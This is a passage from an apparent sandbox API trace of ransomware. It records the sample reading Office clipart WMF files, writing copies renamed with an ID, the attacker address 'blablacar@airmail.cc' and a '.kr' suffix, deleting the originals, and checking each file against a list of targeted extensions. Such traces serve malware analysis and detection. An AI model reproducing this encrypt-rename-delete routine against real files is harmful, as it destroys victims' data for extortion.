lstrlenW (lpString="DD01172_.WMF") returned 12 [0188.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0188.386] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2232) returned 1 [0188.386] CloseHandle (hObject=0x4d8) returned 1 [0188.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x220 [0188.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0188.386] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.386] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0188.387] GetLastError () returned 0x0 [0188.387] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x8b8, lpOverlapped=0x0) returned 1 [0188.389] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0188.389] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.390] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0188.390] SetEndOfFile (hFile=0x538) returned 1 [0188.390] CloseHandle (hObject=0x538) returned 1 [0188.390] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.390] SetEndOfFile (hFile=0x4d8) returned 1 [0188.392] CloseHandle (hObject=0x4d8) returned 1 [0188.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0188.392] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 1 [0188.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0188.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0188.393] lstrlenW (lpString=".doc") returned 4 [0188.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.393] lstrlenW (lpString=".docx") returned 5 [0188.393] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.393] lstrlenW (lpString=".pdf") returned 4 [0188.393] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.393] lstrlenW (lpString=".xls") returned 4 [0188.393] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.393] lstrlenW (lpString=".xlsx") returned 5 [0188.393] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.393] lstrlenW (lpString=".ppt") returned 4 [0188.393] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0188.394] lstrlenW (lpString=".zip") returned 4 [0188.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.394] lstrlenW (lpString=".rar") returned 4 [0188.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.394] lstrlenW (lpString=".bz2") returned 4 [0188.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.394] lstrlenW (lpString=".7z") returned 3 [0188.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0188.394] lstrlenW (lpString=".dbf") returned 4 [0188.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0188.394] lstrlenW (lpString=".1cd") returned 4 [0188.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0188.394] lstrlenW (lpString=".jpg") returned 4 [0188.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0188.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0188.394] lstrlenW (lpString=".doc") returned 4 [0188.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.394] lstrlenW (lpString=".docx") returned 5 [0188.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.394] lstrlenW (lpString=".pdf") returned 4 [0188.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.394] lstrlenW (lpString=".xls") returned 4 [0188.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.394] lstrlenW (lpString=".xlsx") returned 5 [0188.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.394] lstrlenW (lpString=".ppt") returned 4 [0188.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0188.395] lstrlenW (lpString=".zip") returned 4 [0188.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.395] lstrlenW (lpString=".rar") returned 4 [0188.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.395] lstrlenW (lpString=".bz2") returned 4 [0188.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.395] lstrlenW (lpString=".7z") returned 3 [0188.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0188.395] lstrlenW (lpString=".dbf") returned 4 [0188.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0188.395] lstrlenW (lpString=".1cd") returned 4 [0188.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0188.395] lstrlenW (lpString=".jpg") returned 4 [0188.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.395] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0188.395] lstrlenW (lpString="DD01173_.WMF") returned 12 [0188.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0188.435] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1804) returned 1 [0188.435] CloseHandle (hObject=0x450) returned 1 [0188.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x220 [0188.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0188.968] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.968] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0188.969] GetLastError () returned 0x0 [0188.969] ReadFile (in: hFile=0x518, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x70c, lpOverlapped=0x0) returned 1 [0189.006] WriteFile (in: hFile=0x51c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x710, lpOverlapped=0x0) returned 1 [0189.007] ReadFile (in: hFile=0x518, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.007] WriteFile (in: hFile=0x51c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0189.008] SetEndOfFile (hFile=0x51c) returned 1 [0189.011] CloseHandle (hObject=0x51c) returned 1 [0189.011] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.011] SetEndOfFile (hFile=0x518) returned 1 [0189.013] CloseHandle (hObject=0x518) returned 1 [0189.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0189.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 1 [0189.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0189.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0189.021] lstrlenW (lpString=".doc") returned 4 [0189.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.021] lstrlenW (lpString=".docx") returned 5 [0189.021] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.021] lstrlenW (lpString=".pdf") returned 4 [0189.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.021] lstrlenW (lpString=".xls") returned 4 [0189.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.022] lstrlenW (lpString=".xlsx") returned 5 [0189.022] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.022] lstrlenW (lpString=".ppt") returned 4 [0189.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0189.022] lstrlenW (lpString=".zip") returned 4 [0189.022] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.022] lstrlenW (lpString=".rar") returned 4 [0189.022] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.022] lstrlenW (lpString=".bz2") returned 4 [0189.022] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.022] lstrlenW (lpString=".7z") returned 3 [0189.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0189.022] lstrlenW (lpString=".dbf") returned 4 [0189.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0189.022] lstrlenW (lpString=".1cd") returned 4 [0189.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0189.022] lstrlenW (lpString=".jpg") returned 4 [0189.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0189.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0189.022] lstrlenW (lpString=".doc") returned 4 [0189.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.022] lstrlenW (lpString=".docx") returned 5 [0189.022] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.022] lstrlenW (lpString=".pdf") returned 4 [0189.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.023] lstrlenW (lpString=".xls") returned 4 [0189.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.023] lstrlenW (lpString=".xlsx") returned 5 [0189.023] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.023] lstrlenW (lpString=".ppt") returned 4 [0189.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0189.023] lstrlenW (lpString=".zip") returned 4 [0189.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.023] lstrlenW (lpString=".rar") returned 4 [0189.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.023] lstrlenW (lpString=".bz2") returned 4 [0189.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.023] lstrlenW (lpString=".7z") returned 3 [0189.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0189.023] lstrlenW (lpString=".dbf") returned 4 [0189.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0189.023] lstrlenW (lpString=".1cd") returned 4 [0189.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0189.023] lstrlenW (lpString=".jpg") returned 4 [0189.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.023] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0189.023] lstrlenW (lpString="DD01366_.WMF") returned 12 [0189.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0189.025] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1768) returned 1 [0189.025] CloseHandle (hObject=0x410) returned 1 [0189.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x220 [0189.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0189.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0189.025] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.025] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0189.026] GetLastError () returned 0x0 [0189.027] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x6e8, lpOverlapped=0x0) returned 1 [0189.028] WriteFile (in: hFile=0x548, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x6f0, lpOverlapped=0x0) returned 1 [0189.029] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.029] WriteFile (in: hFile=0x548, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0189.029] SetEndOfFile (hFile=0x548) returned 1 [0189.029] CloseHandle (hObject=0x548) returned 1 [0189.029] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.029] SetEndOfFile (hFile=0x410) returned 1 [0189.033] CloseHandle (hObject=0x410) returned 1 [0189.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0189.034] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 1 [0189.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0189.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0189.034] lstrlenW (lpString=".doc") returned 4 [0189.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.034] lstrlenW (lpString=".docx") returned 5 [0189.034] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.034] lstrlenW (lpString=".pdf") returned 4 [0189.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.034] lstrlenW (lpString=".xls") returned 4 [0189.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.035] lstrlenW (lpString=".xlsx") returned 5 [0189.035] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.035] lstrlenW (lpString=".ppt") returned 4 [0189.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0189.035] lstrlenW (lpString=".zip") returned 4 [0189.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.035] lstrlenW (lpString=".rar") returned 4 [0189.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.035] lstrlenW (lpString=".bz2") returned 4 [0189.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.035] lstrlenW (lpString=".7z") returned 3 [0189.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0189.035] lstrlenW (lpString=".dbf") returned 4 [0189.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0189.035] lstrlenW (lpString=".1cd") returned 4 [0189.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0189.035] lstrlenW (lpString=".jpg") returned 4 [0189.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0189.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0189.035] lstrlenW (lpString=".doc") returned 4 [0189.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.035] lstrlenW (lpString=".docx") returned 5 [0189.035] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.035] lstrlenW (lpString=".pdf") returned 4 [0189.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.035] lstrlenW (lpString=".xls") returned 4 [0189.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.036] lstrlenW (lpString=".xlsx") returned 5 [0189.036] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.036] lstrlenW (lpString=".ppt") returned 4 [0189.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0189.036] lstrlenW (lpString=".zip") returned 4 [0189.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.036] lstrlenW (lpString=".rar") returned 4 [0189.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.036] lstrlenW (lpString=".bz2") returned 4 [0189.036] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.036] lstrlenW (lpString=".7z") returned 3 [0189.036] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0189.036] lstrlenW (lpString=".dbf") returned 4 [0189.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0189.036] lstrlenW (lpString=".1cd") returned 4 [0189.036] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0189.036] lstrlenW (lpString=".jpg") returned 4 [0189.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.036] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0189.036] lstrlenW (lpString="DD01434_.WMF") returned 12 [0189.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0189.086] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x377ff14 | out: 